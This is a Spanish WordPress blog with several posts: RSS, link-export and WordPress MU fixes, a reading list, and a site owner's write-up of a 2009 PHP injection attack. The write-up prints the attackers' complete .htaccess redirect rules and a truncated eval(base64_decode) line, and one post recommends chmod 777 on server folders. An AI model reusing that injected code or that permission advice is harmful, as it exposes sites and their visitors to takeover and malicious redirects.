Hoy un usuario de una de las webs que gestiono me ha avisado de que no podía acceder a las actualizaciones RSS. Revisando el tema, he comprobado que el error (ver imagen) solamente aparecía en Firefox (“Error de lectura XML“), mientras que en otros navegadores, las actualizaciones RSS se generaban perfectamente:

Error de lectura XML: declaración de texto o XML en un lugar distinto del principio
de la entidad. Ubicación: http://www... Número de línea 2, columna 1:
<?xml version="1.0" encoding="UTF-8"?>

No es la primera vez que encuentro este problema, así que, en vista de que no hay demasiada información publicada al respecto, explico cual ha sido la solución en mi caso:

1. Abrir el archivo functions.php del tema activo (ubicado en /wp-content/themes/nombre-del-tema/functions.php)
2. Localizar y eliminar espacios vacíos entre las etiquetas de apertura y cierre de PHP (ver imagen). O mejor aun, combinarlas para que solo se abra y se cierre una vez (aunque no siempre es posible)
3. Guardar y subir al servidor

Es un error que puede ser muy fácil de arreglar, pero que también puede ser muy difícil de detectar, por la cantidad de archivos PHP que utiliza WordPress. De todas formas, la lógica es esta: partiendo de que no hemos tocado los archivos del core de WordPress (los básicos: los de la raíz, wp-admin o wp-includes) sólo nos quedan dos comprobaciones que hacer: los plugins instalados y el archivo functions.php del tema activo.

Podemos probar a desactivar los plugins uno a uno, para ver si el problema está en el código de alguno de ellos. Si aun asi el problema persiste, solo nos queda un archivo que repasar: functions.php, que es un archivo que, por poco que queramos personalizar una web, conviene conocer a fondo.

No siempre será tan fácil de detectar, pero las tres o cuatro veces que he tenido que solucionar este problema, esta ha sido la solución.

Para estar seguro de que tu RSS se genera sin problemas en Firefox, abre este navegador, pon la dirección de tu web seguida de /feed/ y, si te aparece el error, ya tienes una pista de dónde mirar.

El problema aparece al ver que los enlaces no se exportan junto con el resto de contenidos de WordPress si utilizamos Herramientas > Exportar. Aunque sí existe la opción para importarlos, no hay en el area de administación ningún modo de exportar nuestros enlaces. El siguiente problema es que las categorías y las descripciones se pierden por el camino y no se importan.

Como ya he explicado esto varias veces a diferentes personas, lo publico aquí, que será más útil que explicarlo cada vez que alguien se encuentra con el problema.

1. Cómo exportar enlaces en WordPress

Si solo queremos exportarlos y no tenemos ninguna categoría de enlaces creada ni tampoco hemos añadido descripciones, lo único que hay que hacer es apuntar el navegador a la dirección del archivo wp-links-opml.php, que está en la raíz de la instalación de WordPress. Es decir:

http://www.ejemplo.com/wp-links-opml.php (cambiar “ejemplo.com” por la dirección de nuestra web)

WordPress crea un archivo XML que contiene los datos que necesitamos en formato OPML. Dependiendo del navegador que utilicemos, veremos una cosa u otra: con Safari, por ejemplo, solo veremos una página en blanco con una linea de texto (el nombre de nuestra web y la fecha de creación del archivo), mientras que Firefox nos muestra directamente el código XML.

En realidad ni siquiera hace falta visitar esa página ni guardar o inspeccionar el código. Copiamos el enlace y pasamos a importarlos.

2. Cómo importar los enlaces

Para importar hay que ir a Herramientas > Importar y de la lista que aparece seleccionamos “Enlaces: Importar enlaces en formato OPML“. En la página siguiente tenemos dos opciones: pegar la dirección anterior (http://www.ejemplo.com/wp-links-opml.php) o bien subir el archivo desde nuestro ordenador, si lo hemos guardado antes. Finalmente, pulsamos el botón “Importar archivo OPML“.

3. Cómo importar las categorías de los enlaces en WordPress

Lo más fácil para importar los enlaces junto con sus categorías es utilizar este plugin:

http://wordpress.org/extend/plugins/import-blogroll-with-categories/

WordPress solo nos ofrece la posibilidad de guardar todos nuestros enlaces en una única categoría, pero lo curioso es que la información necesaria de cada enlace y su categoría está en el archivo XML que importamos, aunque WordPress no lo tiene en cuenta.

Este plugin añade esta funcionalidad añadiendo una nueva opción en la página Herramientas > importar que se llama “Blogroll with categories” (y también en el menú “Links”) con la posibilidad de crear las categorías de enlaces automáticamente, tal como estaban en la web original que estamos trasladando.

4. Cómo importar las descripciones de los enlaces

Otra de las cosas que no hace WordPress es exportar las descripciones de los enlaces en el archivo XML junto con el resto de la información.

Para conseguir esto y no tener que hacerlo a mano, tendremos que editar el código del archivo wp-links-opml.php:

• Abre wp-links-opml.php (está en la raíz de la instalación de WordPress) con tu editor de código
• En la linea 54 añade esto antes del cierre de outline (ver imagen): description="<?php echo esc_attr($bookmark->link_description); ?>". Quedará así:

<outline text="<?php echo $title; ?>" type="link"
xmlUrl="<?php echo esc_attr($bookmark->link_rss); ?>"
htmlUrl="<?php echo esc_attr($bookmark->link_url); ?>"
updated="<?php if ('0000-00-00 00:00:00' != $bookmark->link_updated)
echo $bookmark->link_updated; ?>" description="<?php echo
esc_attr($bookmark->link_description); ?>" />

Esto añadirá las descripciones al archivo OPML para que podamos importarlas. Guarda el archivo, súbelo al servidor y ya puedes importar todos los enlaces con sus categorías y sus descripciones automáticamente sin tener que perder tiempo copiándolos uno a uno.

Al comprobar las estadísticas de una de esas webs (con WordPress 2.8.5), he visto que desde hacía varios días se recibían muy pocas visitas. Al visitar la web directamente con el navegador me ha llamado la atención que había un error de validación (para esto utilizo HTML Validator para Firefox. Es muy simple: verde, todo correcto; rojo, error de validación).

Al comprobar veo que el error de validación que me da es: there is no attribute "style". ¿Un “style” entre el código HTML? Muy pocas veces incrusto estilos con “style”, así que miro el código y me encuentro esto justo antes de cerrar el body:

<!--5edfgh345--> Seguido de una lista con más de 300 enlaces a páginas la mayoría de contenido pornográfico (no aparecen al visitar la web precisamente porque el estilo incrustado que hace que no valide es: “display: none“.

Un ejemplo de los links que aparecen:

<a href="http://******.com/gallery/zkdxk/jennifer-hudson-official-website.html">
jennifer hudson official website</a>

Sigo con las comprobaciones. Solo funciona la página de inicio. Ningún enlace a las otras páginas de la web funciona (por eso se detectaba un descenso en las visitas). Al entrar en el area de administración de la web veo que todo el contenido está ahí, así que imagino que es algún error con el .htaccess. Al abrirlo veo que hay otro código intruso inyectado:

AddHandler application/x-httpd-php .html .htm .asp .aspx .shtml .shtm
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]
RewriteRule .* http://you-search.in/in.cgi?4&parameter=sf [R,L]

Al comprobar otras webs en el mismo servidor he visto que pasaba lo mismo, usaran WordPress o no, tanto las que utilizan PHP como las que están hechas en HTML. En las páginas sin PHP (sólo HTML, lógicamente por tanto sin WordPress), antes del cierre del body aparece:

<!--5edfgh345-->
<?php eval(base64_decode("JGw9Imh0dHA6 ... k7fSBwcmludCBAJHI7DQo=")); ?>

Es decir, se inserta el código eval() de javascript pero no aparecen los links. En páginas con PHP (incluidas WordPress con 2.8.5 instalado) el código se ejecuta y aparece toda la basura.

Qué hacer

Lo suyo es comprobar la fecha de actualización de los archivos de cada web (con un programa FTP, por ejemplo). Esto da una pista para saber qué archivos han sido modificados últimamente. En mi caso, todas las webs habían actualizado el archivo index.html o index.php de la raíz y creado o editado el .htaccess el mismo día, el día del ataque.

1. Sustituir el archivo .htaccess infectado por la copia que deberíamos tener. Si no tenemos copia, lo descargamos (o lo editamos directamente en el servidor) y eliminamos el código de arriba (¡Cuidado con lo que borras! Si no estás seguro de lo que haces, pide que alguien con experiencia te ayude)
2. Lo mismo con el archivo index.html o index.php de la raíz. Si no tenemos una copia a mano, eliminamos desde “<!–5edfgh345–>” hasta que acaba esa linea.

En las webs que gestiono en ese servidor (alojadas por cierto en Mediatemple) el problema no ha ido más allá. Seguiré comprobando estos días esas webs para asegurarme de que no aparecen nuevos problemas.

Describo todo esto con detalle porque lo único parecido que he encontrado en internet es esta entrada:
WordPress, MediaTemple, and an Injection Attack.

El autor explica que en su caso (WordPress 2.8.5 / Mediatemple) fue víctima del mismo ataque en las mismas fechas. Al contactar con los responsables del hosting, vieron que una IP de Texas envió una petición POST a WordPress que consiguió subir un archivo que al extraerse inyectó el código javascript eval() responsable de la aparición de cientos de links a páginas no deseadas.

En su caso, el código se insertaba en todas las entradas publicadas después del ataque y todos los links redireccionaban a una web de malware, y recomienda:

• 1. Eliminar el código eval() de “index.php” en la raíz de WordPress
• 2. Borrar y recrear todas las entradas infectadas (desde el panel de control, no directamente en la base de datos)
• 3. Borrar el archivo .nfs* en la raíz de WordPress
• 4. Sustituir todos los archivos de WordPress por una instalación limpia
• 5. Eliminar el código no deseado de .htaccess

Es un ataque parecido al de los permalinks cambiados a “eval(base64_decode($_SERVER[HTTP_REFERER]“ de WordPress, con inyección MySQL.

ACTUALIZACIÓN (11/11/2009): Otro caso que acabo de encontrar: PHP Injection into the index.php files in ExpressionEngine. Al parecer no se trata sólo de WordPress. También pasa lo mismo con ExpressionEngine.

ACTUALIZACIÓN (16/11/2009): Otros ataques similares posteriores utilizan el número <!–yje35zfv8SU–> y al parecer afecta no solo a instalaciones de WordPress sino de Drupal, Joomla, Magento o cualquiera que utilice PHP, pero por lo visto, solo alojados en Mediatemple, por lo que no parece que se trate de un problema de estos CMS.

Más enlaces que hablan de ello:
http://jeffreybarke.net/tag/hacked/
http://adrian3.com/2009/11/mediatemplewordpress-hack/
http://kb.mediatemple.net/questions/1715/Working+with+a+php+injected+website

Esta es una pequeña recopilación de libros que he leído últimamente sobre diseño web, CSS, WordPress, ExpressionEngine y tecnología e internet en general. Eso sí, prácticamente todos son en inglés. La mayoría de libros sobre diseño web y tecnologías ni siquiera llegan a traducirse al español, pero como siempre digo, si alguien quiere aprender diseño web, lo primero que tiene que hacer es aprender inglés.

Iré ampliando esta lista según vaya comprando y leyendo más libros.

Libros sobre CSS

• CSS Mastery: Advanced Web Standards Solutions. Andy Budd, Simon Collison & Cameron Moll / Friends of ED
• Transcending CSS: The Fine Art of Web Design. Andy Clarke, Molly E. Holzschlag, Aaron Gustafson & Mark Boulton / New Riders Press
• The Zen of CSS Design. Visual enlightenment for the web. Dave Shea & Molly E. Holzschlag / New Riders
• Designing CSS web pages. Christopher Schmitt / New Riders
• CSS Práctico. Richard York. Anaya Multimedia/Wrox

Libros sobre diseño web y diseño en general

• Sexy web design. Elliot Jay Stocks / Sitepoint
• Web Standards Creativity. Innovations in web design with XHTML, CSS and DOM scripting. Cameron Adams, Mark Boulton, Andy Clarke, Simon Collison, Jeff Croft… / Friends of ED
• Designing with web standards. Jeffrey Zeldman / New Riders
• Principles of beautiful web design. Jason Beaird / Sitepoint
• The Art & Science of Web Design. Jeffrey Veen / New Riders
• The laws of simplicity. Design, technology, business & life. John Maeda / The MIT Press
• Manual de producción gráfica. Recetas. Kaj Johansosn, Peter Lundberg & Robert Ryberg / Editorial Gustavo Gili
• Diseñar con y sin retícula. Comprender la estructura y la libertad en el diseño, pasando de la teoría a las aplicaciones en el mundo real. Timothy Samara / Editorial Gustavo Gili
• Web development solutions, AJAX, APIs, libraries and hosted services made easy. Christian Heilmann & Mark Norman Francis/ Friends of ED

Libros sobre WordPress y ExpressionEngine

• Professional WordPress. Design and development. Hal Stern / Wrox Publishing
• ExpressionEngine 2.0: A Quick-Start Guide. Ryan Irelan / Pragmatic Bookshelf
• WordPress Plug-in Development. Vladimir Prelovac / Packt Publishing
• Building Websites with ExpressionEngine 1.6: A clear, concise, and practical guide to creating a professional ExpressionEngine website. Leonard Murphy / Packt Publishing
• WordPress Theme Design. A complete guide to creating professional WordPress themes. Tessa Blakeley Silver / Packt Publishing

Libros sobre internet y tecnología

• Todo va a cambiar. Tecnología y evolución, adaptarse o desaparecer. Enrique Dans / Ediciones Deusto
• The future of the internet – And how to stop it. Jonathan Zittrain / Yale University Press
• The world is flat. A brief history of the twenty-first century. Thomas L. Friedman / Farrar, Straus & Giroux
• The Google Story. Inside the hottest business, media and technology success of our time. David A. Vise and Mark Malseed / Delta
• Everything is miscellaneous. The power of the new digital disorder. David Weinberger / Holt

Libros sobre jQuery

• Learning jQuery 1.3. Better interaction design and web development with simple javascript techniques.. Jonathan Chaffer & Karl Swedberg / Packt Publishing

Próximos…

Y para acabar, estos son los libros que próximamente pasarán a formar parte de mi biblioteca (si los puedo conseguir):

• HTML5 for web designers, Jeremy Keith / A book apart

Según mi experiencia, estos son los errores y problemas más comunes al hacer una instalación de WordPress MU (o WordPressµ), el sistema multi usuario de WordPress:

Editar el archivo wp-config.php directamente

A diferencia del WordPress de un solo usuario, al instalar WordPress MU no es necesario que editemos directamente el archivo wp-config-sample.php. Tanto en las instrucciones que vienen con el sistema (el archivo readme.html) como en los tutoriales de la página oficial, dice que después de subir los archivos al servidor tenemos que dirigirnos a la página index.php, pero no dice que no haya que tocar el wp-config.php (las primeras veces que instalé WordPress MU supuse que se saltaba ese paso por ser demasiado obvio). Así que en este caso, no hay que añadir los datos de conexión a la base de datos directamente en el archivo de configuración, sinó seguir las instrucciones del instalador en el navegador.

Renombrar wp-config-sample.php

De hecho, WordPress MU ni siquiera necesita que renombremos previamente el archivo de configuracion wp-config-sample.php. Si le cambiamos el nombre, tal como hacemos siempre con una instalación normal de WordPress a wp-config.php, el proceso de instalación nos avisará de que no puede continuar porque no encuentra el archivo que espera encontrar, que es wp-config-sample.php. Si ya lo has cambiado, lo mejor es borrarlo y volver a subirlo, en vez de renombrarlo.

Conflictos con otra instalación de WordPress

Si al instalar WordPress MU aparece uno de estos dos mensajes…

"Problem in wp-config.php - $base is set to BASE when it should be
the path like "/" or "/blogs/"! Please fix it!"

"Warning! VHOST must be 'yes' or 'no' in wp-config.php"

…el problema más frecuente suele ser que hay otra instalación de WordPress que entra en conflicto, generalmente, cuando instalamos WordPress MU en un subdirectorio y hay otra instalación en el directorio raiz.

La solución suele ser esta:

1. Renombrar el archivo de configuración wp-config.php de la otra instalación (ojo, lógicamente esa web dejará de funcionar porque no encuentra los datos de conexión a la base de datos). Es decir, le cambiamos el nombre por cualquier otro, por ejemplo: wp-config-cambiado.php
2. Instalamos WordPress MU normalmente
3. Volvemos a renombrar el wp-config.php de la otra instalación con el nombre original.

No cambiar los permisos de wp-content y de la carpeta raíz

Otro de los pasos que es fácil olvidar o pasar por alto es que en algunos servidores los directorios no tienen permisos de escritura por defecto, por eso hay que asegurarse de que el directorio raíz y la carpeta wp-content pueden ser escritos por el servidor.

Por defecto, estas carpetas tienen asignados permisos 755, así que tendremos que cambiarlos a 777 mientras realizamos la instalación (en UNIX, con chmod 777 nombre-de-la-carpeta, o directamente con nuestro programa de FTP).

Si recuerdo algún otro error o problema relacionado con WordPress MU los iré añadiendo aquí por si sirve de ayuda. A mí me hubiera sido muy útil encontrarme con esta información hace algunos años, y me hubiera ahorrado bastante tiempo.

Opciones de avatar en el panel de control de WordPress

Una instalación de WordPress incluye la opción de mostrar avatares (también conocidos como “gravatares”) de los autores de entradas y comentarios.

La palabra “Gravatar” viene de Globally Recognized Avatar (Avatar reconocido globalmente) y no es más que una imagen que se asocia a tu perfil vayas donde vayas en internet. Es decir, cada vez que dejas un comentario en alguna web o foro, esta imagen aparecerá al lado de tu nombre (siempre que utilices el email al que has asociado esa imagen, claro). Si sabes inglés, aquí lo explican perfectamente.

Podemos hacer que estos avatares se muestren en nuestro blog o web, simplemente yendo al menú Opciones y después seleccionando Discusión.

Desde aquí podemos elegir si queremos mostrar o no estas imágenes y que aspecto les queremos dar cuando el autor no tenga ninguna imagen asociada a su perfil. Por defecto, WordPress utiliza la opción “Misterioso” (aunque en los blogs de WordPress.com se muestran desde hace tiempo los avatares autogenerados por defecto. De todas formas, para una instalación personalizada no es recomendable usar los auto-generados porque consumen bastante CPU).

Para personalizar al máximo nuestra instalación de WordPress, podemos cambiar el avatar por defecto para que muestre la imagen que nosotros queramos. No es complicado, pero hay que editar el código manualmente, es decir, no es una opción que se marque con un simple click de ratón (aunque seguro que existe algún plugin que simplifica el trabajo).

Esta es la imagen del “misterioso” avatar por defecto de WordPress:

Para cambiarla, lo primero que tenemos que hacer es crear una nueva con cualquier programa de edición de imágenes. Muchos blogs y webs utilizan un tamaño de 80×80 pixels, así que podemos hacerla a este tamaño y reducirla con CSS si es necesario. Puede ser un GIF, JPG o PNG.

A continuación hay que abrir el archivo functions.php del tema que tengamos activo. Si no existe, creamos un nuevo documento, lo llamamos functions.php y lo guardamos dentro de la carpeta del tema. Después ya podemos añadir este código (*):

// Nuevo avatar misterioso
add_filter('avatar_defaults', 'miavatar');
function miavatar ($avatar_defaults) {
     // Ruta a nuestra imagen (puede estar en el mismo servidor o en otro)
     $avatar = 'http://ruta-de-nuestra-web/carpeta/nombre-del-archivo.jpg';
     // Nombre de nuestro avatar
     $avatar_defaults[$avatar] = "Nuevo misterioso";
     return $avatar_defaults;
}

* NOTA: Recuerda que este código tiene que ir entre "<?php" y "?>". El error más común al editar el archivo functions.php es pegar código fuera de las llamadas a PHP o pegarlo dentro duplicando estas llamadas.

Este código simplemente reescribe la función “avatar-defaults” con la que hemos personalizado, especificando la ruta a la nueva imagen y el nombre que aparecerá en la lista de opciones de WordPress.

Después de subir el archivo functions.php actualizado al servidor, hay que ir a las opciones de WordPress: Opciones > Discusión y seleccionar nuestro nuevo avatar.

Ya sabes, si eres de los que necesita personalizar hasta el más mínimo detalle de WordPress o de cualquier otro sistema, aquí tienes una idea.

Por cierto, si no tienes imagen de Gravatar sólo tienes que registrarte en la web de Gravatar y subir la imagen que quieres utilizar.